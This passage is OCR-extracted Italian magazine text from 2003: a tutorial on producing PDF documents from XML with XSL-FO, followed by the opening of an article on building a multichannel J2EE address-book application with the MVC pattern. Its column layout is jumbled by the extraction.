ponente in azione in un programma per la scrittura di
query SQL, come ulteriore prova dell'utilizzo di questo
Fig. 2: L'esempio dell'autocompletamento di path
componente.
in esecuzione su Windows 98. Marcello Valeri

70 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 11-06-2003 17:22 Pagina 71

E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a

✓ Formattazione di documenti XML


Da XML a PDF,
DOC, RTF, TXT Sistema
In quest'articolo verrà descritto (XSLT) per generare il documento XSL-FO che rap- File sul Web
[Link]/
come stampare in maniera rapida presenterà il vero e proprio layout della pagina che
ioprog71/[Link]
e indolore i vostri documenti XML si vuole stampare.
utilizzando una “terrific
• Formatting Object(FO) descrive come le informa-
technology…” chiamata zioni sono “formattate” all’interno delle pagina che
XSL-FO! si vuole stampare. Per esempio, il nome va stam-
pato in altro a destra, il cognome in basso a sinistra,
ecc..

B
ene cari programmatori eccoci nuovamente alle
prese con le nostre stampe. Stampare è un po’ Ricapitoliamo: utilizzando XSL, possiamo creare delle
come un’arte e come tale presenta molte forme, stampe di un generico documento XML. Utilizzando
colori e sfaccettature diverse, l’arduo compito di noi XSL-FO, possiamo specificare come le informazioni
programmatori è proprio quello di saper utilizzare ma- (contenute nel documento XML) devono “apparire”
gistralmente la giusta forma unita al giusto colore! Do- nella pagina che intendiamo stampare.
po questa breve parafrasi introduttiva, mi raccomando Più in dettaglio, possiamo specificare:
non precipitatevi a comprare tavolozza e colori bensì
sedetevi comodi e preparatevi a scoprire come stampa- • Il layout della pagina;
re un documento XML utilizzando XSL-FO. Nell’era
delle tecnologie con la “X…”: XML, XSL, XSLT (e tutte • La size della pagina;
le varie combinazioni sono valide!) è doveroso cono-
scere una “ tecnica ” di stampa che onora la grande • Headers e Footer;
“X…”: XSL-FO.
• Margini;

COS’È XSL-FO? • Numero di pagina;


Extensible Stylesheet Language Formatting Object (XSL-
FO). Ora che siamo in possesso di una definizione tan- • Si può anche prevedere una formattazione diversa
to lunga, tanto bella, nonché tanto incomprensibile, per ogni frammento di documento, per esempio: il
cerchiamo di scomporla e di analizzarla per compren- titolo è centrato ed è scritto in bold.
derne il significato. La prima domanda che ci poniamo
è sicuramente: “Cos’è uno Stylesheet ?”. Uno stylesheet
(foglio di stile) utilizza il linguaggio di trasformazione PERCHÉ UTILIZZARE XSL-FO
XSL per trasformare un documento XML con una dato Dopo tante definizioni e paroloni, sicuramente la pri-
vocabolario (semantico) in un nuovo documento XML ma domanda che ci poniamo è: “Quando l’utilizzo di
(sempre XML) che utilizza il vocabolario XSL-FO (dal- XSL-FO rappresenta la scelta giusta?”. Il “beneficio pri-
la presentazione si passa quindi ad un insieme di tag mario” sta nel fatto che XSL-FO riconosce XML come
XML/XSL che hanno una semantica di presentazione). linguaggio, questo consente di utilizzare i numerosi
Ora che sappiamo il significato di Stylesheet, prose- tools associati ad XML. Vi assicuro che non sono pochi.
guiamo con la scomposizione: Il documento XML da stampare è gia noto per un de-
terminato schema (DTD), generalmente questo schema
• Stylesheet Language(XSL) fornisce lo “strumento” cambia “lentamente”, lo Stylesheet va mantenuto alli-
per produrre stampe di buona qualità partendo da neato con questi cambiamenti. XSL-FO prende come
un documento XML gia esistente. input un documento XML e ne produce una stampa di-
sponibile nei più comuni formati come: PDF e Post-
• XSL descrive come utilizzare l’XSL Trasformations Script. Il formato del documento è facilmente “ripro-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 71
071-075 Sistema Stam 31-05-2003 10:20 Pagina 72

S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G

zioni della altre pagine che compongono il docu-


mento. Tipicamente in questo contesto vengono
definiti sia i layout delle singole pagine, sia la se-
quenza di queste. Nel nostro codice, viene definita
una semplice page master chiamata: "stampa-no-
me", e al suo interno vengono definite 3 aree speci-
Sistema fiche: region-before, region-after, region-body. Queste
tre aree possono essere viste come: header, footer e
page-content della pagina. In virtù della suddivi-
Stampe
XML: sione effettuata é facile specificare cosa si desidera
e creazione
stamparedi con
file porre nella diverse sezioni della pagina.
PDF XSL-FO
in Java Fig. 1: Processo di trasformazione di un documento
XML mediante XSL-FO. <fo:page-sequence master-reference="stampa-nome">

ducibile” grazie ai tanti tag che possiamo specificare al- • Page sequence. Nel documento le pagine sono rag-
l’interno del nostro documento XSL-FO. I layout che si gruppate in sequenze. L’attributo master-reference,
possono creare utilizzando opportunamente i tag so- definisce quale layout (tra quelli definiti) utilizzare.
pra citati, possono raggiungere una precisione e una In sostanza si occupa di determinare quando e qua-
“bellezze grafica” a prova d’artista… E ricordiamoci le page master utilizzare.
che non abbiamo bisogno di tele e colori!
<fo:flow flow-name="xsl-region-body">

SOFTWARE NECESSARI • Flow. Rappresenta l’oggetto contenitore di tutti i


PER LO SVILUPPO “testi” contenuti nel documento. Tutto quello con-
Per lo sviluppo delle pagine XML, XSL-FO.. potete tenuto nel flow, viene “formattato” nelle pagine ge-
utlizzare qualunque editor testuale, consigliamo di nerate, rispettando le aree specificate. Il flow-name
utilizzare XMLSPY ([Link] determina una particolare regione della pagina,
spy_enterprise.html). Per utilizzare XSL:FO (Formatting che nel nostro esempio corrisponde alla body region.
Objects) è necessario installare un: “FO processing en-
Documenti gine”, a tal proposito suggeriamo Apache FOP perfet- <fo:block>Valentina Muraglia..</fo:block>
Well-Formed tamente compatibile con XMLSPY e scaricabile dal:
E’ bene ricordare
che un documento [Link] .html. Ar- • Block. Questo oggetto rappresenta approssimati-
XML prima di essere mati di software e buoni propositi, molto di voi sicura- vamente il DIV del linguaggio HTML, tipicamen-
stampato deve rispet- mente cominceranno a chiedersi: “Ma in che strana for- te include paragrafi e testi. Nel nostro contesto con-
tare la grammatica de-
finita nel suo DTD (se
ma/stato si presenta questo XSL-FO?!”. Di seguito ripor- tiene il nome e cognome dell’autore di questo arti-
ne possiede uno), ov- tiamo un piccolo esempio di un documento XSL-FO: colo! Il sui utilizzo è fondamentale, poiché il testo
vero deve essere eti- non può essere inserito direttamente nel flow.
chettato come un file <?xml version="1.0" encoding="UTF-8"?>
XML well-formed.
</fo:flow>
Si tratta di una semplice dichiarazione XML, tra l’altro </fo:page-sequence>
obbligatoria visto che XSL FO appartiene proprio alla </fo:root>
famiglia di documenti XML.
Non ci crederete, ma tutte queste linee di codice non
<fo:root xmlns:fo="[Link] fanno altro che stampare il nome Valentina Muraglia
nella body region. Il primo esercizio consiste nel ripe-
• Root Element. E’ un attributo obbligatorio che de- tere l’operazione con il vostro nome… Come avrete no-
finisce l’XSL Formatting Objects namespace. tato, un documento XSL-FO, è costituito fondamental-
mente da una lunga sequenza di elementi, ognuno di
<fo:layout-master-set> questi a sua volta può avere un gran numero di attri-
<fo:simple-page-master master-name="stampa-nome"> buti. Ai fini di una corretta programmazione, è impor-
<fo:region-body region-name=”xsl-region-body” tante conoscere gli elementi fondamentali che possono
margin=”0.7in”/> comporre un documento XSL-FO.
<fo:region-before region-name=”xsl-region-before”/> Vi anticipo, che questi sono tantissimi e che non baste-
<fo:region-after region-name=”xsl-region-before”/> rebbero cento articoli per descriverli tutti, alcuni li ab-
</fo:simple-page-master> biamo gia visti nel primo esempio, altri (i più impor-
</fo:layout-master-set> tanti e i più utili soprattutto) ci accingiamo a scoprirli
insieme:
• Layout master set. E’ un elemento che contiene sia
le dichiarazione della page master sia le dichiara- • Element block. Può includere paragrafi e testi.

72 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 31-05-2003 10:20 Pagina 73

E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a

<fo:block font-family="Times" font-size="14pt" Se sono specificati due valori, il primo di questo farà ri-
font-style="italic" ferimento al paddings top and bottom, mentre il secon-
line-height="1.5" text-align="left" do al paddings right and left. Se sono specificati tre va-
border-color="black" border-style="solid" border- lori, il primo setterà il padding top, il secondo left and ri-
width="thick" ght, il terzo il bottom. E’ possibile utilizzare anche l’op-
padding="1cm 3cm" padding-bottom="18pt" zione con uno o quattro valori, il significato spero sia
background-color="red" background-image=
"url('[Link]')">
intuitivo!
Anche per il padding esistono molto attributi; anche in Sistema
Napoleone Bonaparte questo caso è possibile specificare: padding- left/right/
</fo:block> bottom/ top.
XML:
stampare con
• background-color="red". Permette di definire il
XSL-FO
colore (background) del block.

Fig. 2: Output del documento XML appena • background-image="url('[Link]'). Permette di


esaminato.
settare un’immagine come background del block.

L’output del documento appena descritto è ben visibi- • Element inline. Corrisponde allo SPAN in HTML.
le in Fig 2. Il codice stampa il nome di Napoleone Bona- Consente di applicare una particolare formattazio-
parte e in aggiunta ne specifica alcuni particolari attri- ne ad un “pezzo” di testo all’interno di un block.
buti:
<fo:block>
• font-family="Times". Specifica un determinato <fo:inline color="red" text-decoration="underline"
font. font-family="Times" font-style="italic">
Giuseppe
• font-size="14pt". Definisce la dimensione del font. </fo:inline>
<fo:inline font-weight="bold"
• font-style="italic". Definisce lo stile del font. text-decoration="underline">
Naccarato
• line-height="1.5". Definisce l’altezza della linee </fo:inline>
XSL-FO
che compongono il testo; tale attributo, può essere </fo:block> Utilizzando XSL-
espresso con un preciso valore numerico o in per- FO, possiamo spe-
cificare come le infor-
centuale. Nella sezione di codice sopra riportato, possiamo ap-
mazioni (contenute nel
prezzare l’elemento inline in azione. documento XML) devo-
• text-align="left". Definisce l’allineamento del testo L’output dell’esempio è sempre lo stesso, ovvero la no “apparire” nella pa-
all’interno del block. stampa del nome: “Napoleone Bonaparte”, però in que- gina che intendiamo
stampare.
sto caso nome e cognome vengono si inseriti all’inter-
La definizione di ognuno di questi attributi, a livello di no dello stesso block, ma in due inline distinte. Questa
block, fa si che tutto il testo contenuto in esso sia sog- suddivisione consente di “modellare” a nostro piaci-
getto ai vari settaggi. Di seguito elenchiam altri attri- mento le due stringhe in maniera distinta.
buti, questa volta per il border, padding e background: Ma vediamo da vicino gli attributi dell’elemento. Per
questa classe di attributi, vorrei precisare che l’elemen-
• border-color="black". Definisce il colore del bordo to inline, gode dei medesimi attributi specificati per l’e-
superiore. lemento block, all’uopo ometteremo la loro descrizio-
ne:
• border-style="solid". Definisce lo stile del bordo
superiore. font-family, font-size, font-style, padding, ecc…

• border-width="thick". Definisce l’ampiezza del • color="red". Permette di definire il colore del testo.
bordo superiore.
• text-decoration="underline". Permette di sottoli-
Ognuno di questi attributi può essere specificato anche neare il testo.
per i singoli: border-left/right/ bottom/ top. Generalmente
una volta settato un determinato bordo, e necessario • font-weight="bold". Permette di aggiunge lo stile
anche specificare il padding tra il testo e il bordo, tale grassetto al testo.
operazione viene effettuata con l’attributo:
Come nel caso del block, la definizione di uno di que-
• padding="1cm 3cm". Definisce il padding tra testo sti attributi si ripercuote su tutto il testo per cui tali at-
e bordo. tributi sono stati definiti.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 73
071-075 Sistema Stam 4-06-2003 17:27 Pagina 74

S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G

• Element list. Viene generalmente utilizzato per al- getto da stampare non è stata facile, lista della spesa?
lineare due block adiacenti, per formattare una lista banale, fatture? Già fatto. Questa volta ci adopereremo
ordinata, per create note; ovvero, per dare ad un te- per una stampa veramente professionale: “Un curricu-
sto la parvenza di una lista. lum Vitae”. Ebbene si, quando avrete terminato di leg-
gere questo articolo, ognuno di voi sarà in grado di
<fo:list-block provisional-distance-between-starts="18pt"> creare (e quindi stampare) un file .pdf contenente il
Sistema <fo:list-item>
<fo:list-item-label end-indent="label-end()">
proprio CV. Il nostro punto di partenza, è un docu-
mento XML contenente tutti i dati che desideriamo
<fo:block>&#x2022;</fo:block> stampare.
Stampe
XML: </fo:list-item-label> Non ci soffermiamo su spiegazioni inutili, nonché ri-
e creazione di con
file <fo:list-item-body start-indent="body-start()"> dondanti su cosa è un documento XML, confidiamo
stampare
PDF XSL-FO
in Java <fo:block font-style="italic" nella vostra infinita conoscenza. Il nostro file XML è il:
font-weight="500"> [Link], di seguito sono riportati alcuni “pezzi” di que-
Valentina Muraglia sto file, il sorgente originale é comunque disponibile
</fo:block> sul Cd-rom allegato alla rivista:
</fo:list-item-body>
</fo:list-item> <curriculum>
</fo:list-block> <datiAnagrafici>
<nome>Damiano</nome>
<cognome>Bonazzoni</cognome>
<dataNascita>08/12/1976</dataNascita>
<luogoNascita>Gela</luogoNascita>
</datiAnagrafici>
Nel tag <datiAnagrafici> riportiamo tutti i dati
personali che desideriamo stampare.
<esperienza>
Fig. 3: Output del listato XML di cui sopra.
<periodo>1995/1996</periodo>
<ruolo>Arbitro di calcio nelle categorie giovanili.</ruolo>
L’output del codice appena esaminato é visibile in Fig. </esperienza>
3; l’output, rispetto a quanto proposto nel codice, mo- Nel tag <esperienza> riportiamo l’esperienza lavorativa.
stra qualche item in più, si tratta di aggiunte puramen- <istruzione>
Esempi te didattiche che aiutano il lettore a meglio capire il <dataConseguimento>2001</dataConseguimento>
Il nostro file XML è
il: [Link], di se- concetto. <titolo>Laurea in Economia e Commercio</titolo>
guito sono riportati al- Di seguito elenchiamo gli attributi dell’element list: </istruzione>
cuni “pezzi” di questo Nel tag <istruzione> riportiamo la nostra cultura!
file, il sorgente origi-
• provisional-distance-between-starts="18pt". Per- <linguaStraniera>
nale é comunque di-
sponibile sul Cd-rom mette di settare la distanza che intercorre fra la la- <lingua>Inglese</lingua>
allegato alla rivista bel (il quadratino nel nostro caso) e la stringa che <livello>Fluente</livello>
(directory codice). compone la lista. </linguaStraniera>
Nel tag <linguaStraniera> riportiamo quanto siamo
• end-indent="label-end()", start-indent="body- poliglotti!
start()". Consentono di gestire la formattazione de- </curriculum>
gli spazi tra la label e la stringa.
E’ importante ricordare che, se si desidera stampare
All’interno delle liste, possono essere naturalmente ap- più di una esperienza lavorativa, il tag va ripetuto per
plicati tutti gli element (con i relativi attributi) visti in quante sono le esperienze da stampare, N.. esperienze
precedenza. Avrete sicuramente notato che un <fo:list- N.. tag. Naturalmente questo discorso è valido anche
item-body..> è composto da un semplice block, che a sua per i tag: istruzione e lingua straniera.
volta può essere composto da n… inline. Immaginate il Bene, ora che abbiamo i dati da stampare, vediamo co-
gioco delle scatole cinesi e date libero sfogo alla vostra me questi sono modellati nel nostro documento XSL-
fantasia! Bene cari lettori, dopo questa overview sui FO. Anche in questo caso abbiamo un file di partenza
principali element di XSL-FO (in realtà ne manca an- il: [Link], di cui riportiamo solo alcuni “frammenti” di
cora uno: il tabel, ma vista la sua complessità lo analiz- codice particolarmente esplicativi:
zeremo in corso d’opera..), è arrivato finalmente il mo-
mento di metterci all’opera. <xsl:stylesheet version="1.0"
Il titolo dell’articolo ci ha preannunciato il lavoro da fa- xmlns:xsl="[Link]
re: “Stampare un documento XML con l’utilizzo di XSL- xmlns:fo="[Link]
FO” il nostro lavoro consisterà proprio nel creare un fi- <xsl:template match="curriculum">
le .pdf pronto per essere stampato. La scelta del sog- Definiamo che il nostro file XSL farà il match con tag

74 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
071-075 Sistema Stam 31-05-2003 10:21 Pagina 75

E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a

curriculum definito nel file XML. <fo:block><xsl:apply-templates select=


……………………………………………………… "cognome"/></fo:block>
……………………………………………………… </fo:table-cell>
<fo:block text-align="center">Curriculum </fo:table-row>
Vitae</fo:block> </xsl:template>
Definiamo un semplice block che stamperà la stringa

<fo:table border="0.5pt solid black">


“Curriculum Vitae”. Cari lettori, mi rendo conto che questo agglomera-
to di tag fa un po’ impressione ma sono fiduciosa Sistema
Definiamo un table element che consultando il codice sorgente originale, tutto
<fo:table-column column-number="1" sarà più chiaro.
column-width="proportional-column-width(1)"> Siamo quasi arrivati alla fine, ora che siamo in pos- XML:
stampare con
Definiamo la prima colonna della tabella. sesso sia del file [Link] sia del file [Link] possiamo
XSL-FO
</fo:table-column> compiere la “magia” della creazione del file [Link]
<fo:table-column column-number="2" (anche questo è gia disponibile nel CD della rivi-
column-width="proportional-column-width(2)+2pc"> sta).
Definiamo la seconda colonna della tabella. La magia è semplice…
</fo:table-column>
<fo:table-body> • Apriamo XMLSPY.
<xsl:apply-templates select="datiAnagrafici" />
Stabiliamo che la tabella create poche righe fa • Visualizziamo il file [Link].
conterrà i dati anagrafici.
</fo:table-body> • Clicchiamo sull’icona
</fo:table>
</xsl:template> • Al messaggio di Fig. 5, settiamo i radio button
…………………………………………………………………………………… su: genera output file e PDF e clicchiamo il botto-
…………………………………………………………………………………… ne OK.
<xsl:template match="nome|cognome..">

Stabiliamo quali attributi del template dati anagra-


fici andiamo a prelevare:
Bibliografia
• Professional C#
S. Robinson e altri
<xsl:value-of select="." /> (Wrox)
Prelevo tutti i dati dal tempate datiAnagrafici.
• Thinking in C#
</xsl:template>
B. Eckel, L. O’Brien
<xsl:template match="datiAnagrafici">
<fo:table-row> • Documentazione on-
<fo:table-cell padding="6pt" border="0.5pt solid black"> line MSDN,
[Link]
<fo:block font-style="oblique">Nome:</fo:block> Fig. 5: I radio button che consentono di generare il file PDF.
Nella prima cella della tabella stampo la stringa
“Nome:”
</fo:table-cell> • Al messaggio di Fig. 6, settiamo il nostro file
<fo:table-cell padding="6pt" border="0.5pt solid sorgente [Link] e clicchiamo il bottone OK.
black">
<fo:block><xsl:apply-templates
select="nome"/></fo:block>
Nella seconda cella della tabella stampo il valore
nome definito nel file XML.
Fig. 6: Specificare il file XML dal quale ricavare le
</fo:table-cell> informazioni per generare il documento PDF.
</fo:table-row>
Ripeto l’operazione per tutti i dati del tempate “Dati
Anagrafici” che intendo stampare. • Definiamo la directory in cui salvare il nostro fi-
<fo:table-row> le [Link] e clicchiamo il bottone OK.
<fo:table-cell padding="6pt" border="0.5pt solid
black"> A questo punto la grande “magia” sarà compiuta..
<fo:block font-style="oblique">Cognome: vedrete il vostro fantastico CV comparire davanti ai
</fo:block> vostri occhi!
</fo:table-cell> Non vi rimane che provare: create il vostro CV e…
<fo:table-cell padding="6pt" border="0.5pt solid in bocca al lupo per i successivi colloqui.
black"> Valentina Muraglia

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 75
076 081 Mobile 4-06-2003 10:58 Pagina 76

P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G

✓ Programmazione Enterprise

Applicazioni
J2EE
J2EE multicanale
Nell’ambito della creazione di guaggio di marcatura HTML (il protocollo applicati-
vo). Possiamo anche dire che un telefono cellulare
applicazioni J2EE, in questo
consuma i servizi di un’applicazione WAP utilizzan-
articolo ci occuperemo della do il linguaggio WML. L’ultimo esempio, sempre più
realizzazione di una rubrica attuale, consiste in un’applicazione client che consu-
aziendale accessibile da qualsiasi ma i servizi messi a disposizione da un’applicazione
File sul CD dispositivo mobile. server veicolati attraverso un qualunque protocollo
\soft\codice\[Link] di trasporto (quasi sempre HTTP) utilizzando SOAP
come protocollo applicativo. Attraverso questi pochi
esempi abbiamo coperto una buona percentuale di

U
na delle parole che si sente sempre più spes- situazioni tradizionali ed abbiamo anche indicato i
so da chi si occupa professionalmente del “canali” che vengono utilizzati più spesso. Un “ca-
J2EE mercato dell’Information Technology è nale” è la modalità di erogazione del servizio, la mo-
La complessa ar-
“multicanalità”. Ogni applicazione, dal punto di vi- dalità con la quale il dispositivo consumatore riesce
chitettura di Java
è divise in tre piat- sta di chi la commissiona o di chi ne cura gli aggior- ad ottenere il servizio dall’applicazione che lo mette
taforme distinte. namenti, deve essere “multicanale” e questa caratte- a disposizione. Si tratta, in sostanza, dell’unione del-
ristica apparentemente irrinunciabile potrebbe essere la tipologia di dispositivo con il protocollo di tra-
Java 2 Standard Edi-
uno dei volani in grado di ridar fiato al mercato I.T. sporto e con il protocollo applicativo. Questi tre
tion (J2SE) definisce i
costrutti del linguag- che nell’ultimo periodo, seppur in apparente ripresa, esempi vengono, con poca precisione, identificati co-
gio, le librerie di utiliz- non è che brilli per grandi investimenti. Vediamo me il “canale Web”, il “canale Wap” ed il “canale
zo generale ed i suoi quindi cos’è e come si può realizzare un’applicazio- SOAP”, ma come abbiamo visto le cose sono legger-
servizi di base.
ne multicanale utilizzando la piattaforma J2EE. mente più complesse.
Java 2 Micro Edition
(J2ME) consente l pro-
duzione di applicazioni
per dispositivi wireless
SCENARIO MULTICANALITÀ E JAVA
mobili e per sistemi
Per chiarire quello di cui stiamo parlando, iniziamo La piattaforma J2EE, come d’altro canto moltissime
embedded. col dare qualche definizione degli elementi che com- altre architetture dedicate allo sviluppo di applica-
pongono il nostro scenario. Un’applicazione è, in li- zioni server-side, ci permette di scrivere software uti-
Java 2 Enterprirse Edi-
nea generale, uno strumento software in grado di lizzabile con tutti i dispositivi di cui parlavamo in
tion (J2EE) è orientata
allo sviluppo di appli- fornire dei servizi ad una platea di possibili consu- precedenza, cioè ci permette di costruire applicazio-
cazioni distribuite su matori. Ogni consumatore ha la propria modalità per ni erogabili su tutti i rispettivi canali. Il vero valore
sistemi Internet/Intra- servirsi dell’applicazione e questa è di solito formata aggiunto di un’applicazione multicanale, però, è che
net e consente la pro-
da alcune componenti distinte: sia utilizzabile contemporaneamente da tutti i canali
duzione di componenti
server di elevata com- supportati e che sia disegnata in maniera tale da ave-
plessità attraverso le • un dispositivo che comunica con l’applicazione re le componenti di logica di business in comune tra
tecnologie JSP, Serv- • un protocollo di trasporto per veicolare le infor- tutti i vari canali, in modo da garantire un grado di
let, EJB e Web Servi-
mazioni; manutenibilità soddisfacente. Quello che serve, in
ces.
La piattaforma si com- • un protocollo applicativo per rendere comprensi- pratica, è la totale separazione tra le tre componenti
pleta attraverso l’ado- bile a tutti gli attori il formato dei dati che viene che, di norma, compongono un’applicazione in gra-
zione di consolidati scambiato. do di erogare servizi:
standard di integrazio-
ne come JMS, JTS, JCA,
JNDI. Per fare un esempio possiamo dire che un tradizio- • Model: che implementa le funzionalità di busi-
nale browser (il dispositivo) consuma i servizi di un ness
sito web (l’applicazione) utilizzando HTTP (il proto- • View: che implementa la logica di presentazione
collo di trasporto) sul quale viene trasmesso il lin- • Controller: che implementa la logica di controllo

76 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 10:58 Pagina 77

E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i

Queste tre componenti costituiscono il Pattern MVC, anche sotto forma di file WAR, è necessario rispetta-
la cui struttura è rappresentata in Fig. 1, molto famo- re una precisa alberatura per i file a partire da una
so per la sua flessibilità e potenza, ma allo stesso tem- root directory che per noi è c:\progetti\mcapp, la ve-
po un po’ ostico per la sua complessità. diamo in Fig. 2.

J2EE
Applicazioni
J2EE multicanale

Fig. 1: Struttura del Pattern MVC. Fig. 2: Alberatura dell'applicazione.

Nel nostro contesto, come vedremo, questo modello- In particolare, possiamo notare che a partire dalla di-
si applica alla perfezione perché ci permette di sepa- rectory src inizia l’alberatura dei sorgenti Java, la di-
rare le componenti di presentazione e specializzarle a rectory web è la web-root sulla quale verrà mappato il
seconda del canale di erogazione lasciando inalterate context (mcapp) del nostro Application Server (Tom- Il pattern MVC
le componenti di Model e di Controller che invece so- cat), la directory WEB-INF contiene tutte le classi Ja- Uno degli obiettivi
del paradigma
no indipendenti dal canale. va compilate, i file di configurazione ed il file [Link],
Object Oriented è la
la directory work contiene la cache delle pagine jsp possibilità di realizzare
compilate. classi che possano vi-
L’APPLICAZIONE vere autonomamente
in qualsiasi contesto e
Per capire meglio i concetti di canale e di multicana-
lità realizzeremo un’applicazione J2EE attraverso l’u- IL DATABASE non solo in quello nel
quale vengono realiz-
tilizzo del Pattern MVC. Si tratta di una completa ru- DELL’APPLICAZIONE zate.
brica aziendale che espone i servizi di consultazione La base dati dell’applicazione, per semplicità, è stata Questo implica che le
componenti di un’ap-
indifferentemente e contemporaneamente sul canale scritta in un comune file Access contenente un’unica plicazione debbano es-
Web e sul canale Wap. Ormai sappiamo cosa si inten- tabella Rubrica con la seguente struttura: sere sufficientemente
de con il termine “canale”, quindi non ci dovrebbero separate tra loro e che
possano essere sosti-
essere dubbi in proposito. id: contatore e chiave primaria
tuite con altre imple-
L’applicazione ha un classico schema a tre livelli do- Cognome: testo 50 mentate diversamente
ve: Nome: testo 50 a condizione che ne ri-
Email: testo 50 spettino l’interfaccia.
Per realizzare applica-
• il presentation layer viene erogato dalla componen- TelefonoFisso: testo 50
zioni che soddisfino
te View del pattern e viene consumato dal dispo- TelefonoCellulare: testo 50 questi requisiti si uti-
sitivo che effettua la richiesta sul canale; Filiale: testo 50 lizza il pattern MVC che
• l’application layer viene implementato all’interno UnitaOrganizzativa: testo 50 consente di separare
tra loro le componenti
della componente Model del pattern ed è indipen-
applicative: il Model
dente dal canale di erogazione dei servizi; che implementa le fun-
• il data layer viene utilizzato direttamente dalla zionalità di business, la
componente di Model per ottenere le informazio- componente di View
che implementa la logi-
ni. ca di presentazione ed
il Controller che imple-
Dal punto di vista funzionale l’applicazione avrà le menta la logica di con-
seguenti componenti: trollo.

• motore di ricerca per cognome sul database della


rubrica;
• lista di tutti gli utenti compatibili con i criteri di ri-
cerca inseriti;
• dettaglio completo del singolo utente selezionato.

Essendo un’applicazione J2EE, distribuibile quindi Fig. 3: Creazione del DSN.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 77
076 081 Mobile 4-06-2003 10:58 Pagina 78

P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G

le) e la Response da riempire con l’esecuzione della


pagina JSP. Quello che si ottiene, in sostanza, è lo
stesso comportamento che si avrebbe se l’utente
avesse chiamato direttamente la pagina JSP, ma con
due differenze sostanziali, infatti prima e dopo l’ese-
cuzione della pagina JSP è possibile eseguire altri
compiti applicativi e modificare il contenuto degli

J2EE
oggetti Request e Response. È interessante notare che
per sapere quale pagina JSP invocare, il Controller
deve ricavare due informazioni distinte: la Action,
cioè la funzionalità richiesta dall’utente, ed il canale di
erogazione. La Action viene ricavata direttamente leg-
Applicazioni Fig. 4: Configurazione del DSN. gendo il parametro Action passato nella Request
J2EE multicanale
HTTP. Il canale viene ricavato, attraverso la funzione
Il database con alcuni dati di esempio è presente sul getOutputType dall’analisi della proprietà User-Agent
CD allegato alla rivista insieme a tutti i sorgenti del- presente tra gli header contenuti nella request. Que-
l’applicazione. Poiché l’applicazione è scritta in Java sta proprietà, in generale, identifica il dispositivo che
sarà necessario utilizzare il ponte JDBC-ODBC per ha effettuato la Request HTTP e può darci indicazio-
poter accedere alla base dati Access. Per prima cosa, ni circa la sua tipologia. Per comodità di implemen-
quindi, è necessario creare a attraverso l’applet “Ori- tazione, trattandosi di codice didattico, la funzione
gine dati ODBC” contenuta negli strumenti di ammi- getOutputType cerca di riconoscere la presenza della
nistrazione del Pannello di Controllo, un DSN di si- sottostringa “[Link]” all’interno del valore del-
stema chiamato mcapp associato al Microsoft Access la proprietà User-Agent. Questa scelta dipende dal
JDBC Driver (Fig. 3) e che punti al database dell’applica- fatto che per fare i test di utilizzo dell’applicazione
Java Database Con-
nectivity è un’insie- zione, cioè al file [Link] (Fig. 4). sul canale Wap utilizzeremo l’emulatore [Link]-
me di classi Java che tor di Openwave che imposta la proprietà User-
consente, virtualmente, Agent ad un valore che dipende dal dispositivo emu-
l’accesso a qualsiasi da-
tabase da qualunque ap-
IL CONTROLLER lato, ma che comunque contiene sempre la stringa
plicazione scritta in Ja- La prima componente che si realizza tradizional- “[Link]”. Una lista esaustiva e piuttosto aggior-
va. mente quando si sviluppa un’applicazione basata sul nata dei valori della proprietà User-Agent settata dai
L’architettura di JDBC è Pattern MVC è il Controller. La componente di Con- vari telefoni cellulari in commercio e dotati di brow-
organizzata in classi
standard che rappresen-
troller è, di solito, particolarmente semplice in quan- ser Wap può essere reperita all’indirizzo [Link]-
tano, all’interno del codi- to deve occuparsi di: [Link]. Nel nostro caso, dunque, il canale sarà
ce Java, le connessioni al sempre identificato attraverso la stringa “html” a me-
Database. Viene fornito • recuperare la “Action”, cioè la funzionalità appli- no che l’applicazione non si accorga che la Request
nativamente un driver-
manager in grado di uti-
cativa che il dispositivo chiamante ha richiesto HTTP avviene da un dispositivo dotato di browser
lizzare un qualunque dri- per poter chiamare correttamente la logica di bu- wml con tecnologia “[Link]”, in questo caso il
ver fornito ad hoc per un siness associata a quella funzionalità; canale sarà identificato attraverso la stringa “wml”.
certo database.
• recuperare le informazioni di canale, cioè capire, Una volta ottenute le stringhe identificative di canale
La politica di JDBC è di
essere indipendente dal per quanto possibile, quale dispositivo sta facen- ed Action la Servlet esegue un forward ad una pagi-
database e di richiedere, do quella particolare richiesta e di conseguenza na JSP il cui nome sia composto in questo modo:
salvo poche eccezioni, instradare la chiamata sul livello di presentazione
l’utilizzo di un apposito
corretto. /jsp/action_canale.jsp
driver verso il database.
Il compito del driver è di
convertire le chiamate al Quando si realizza un Controller di questo tipo in Ja- In questo modo abbiamo realizzato un Controller
database, rigorosamen- va si fa tradizionalmente una Servlet, vediamone il sufficientemente flessibile in grado da subito di ge-
te scritte in ANSI SQL
codice nel file [Link]. stire qualsiasi Action ed i due canali Web e Wap. Con
Level 2, nel linguaggio
SQL compreso dal data- Questo codice è una Servlet, infatti estende la classe poche modifiche è possibile fare in modo che gestisca
base di destinazione. HttpServlet, e risponde indifferentemente alle chia- altri canali o altri dispositivi all’interno dello stesso
mate HTTP effettuate attraverso i metodi Post e Get. canale.
Il compito principale di questa Servlet consiste nel-
l’instradare la chiamata HTTP alla giusta componen-
te di presentation e questo avviene attraverso l’utiliz- LA COMPONENTE VIEW
zo del componente RequestDispatcher il cui metodo PER IL CANALE WEB
forward() consente di far ritornare come output dalla Una volta terminato lo sviluppo del controller pos-
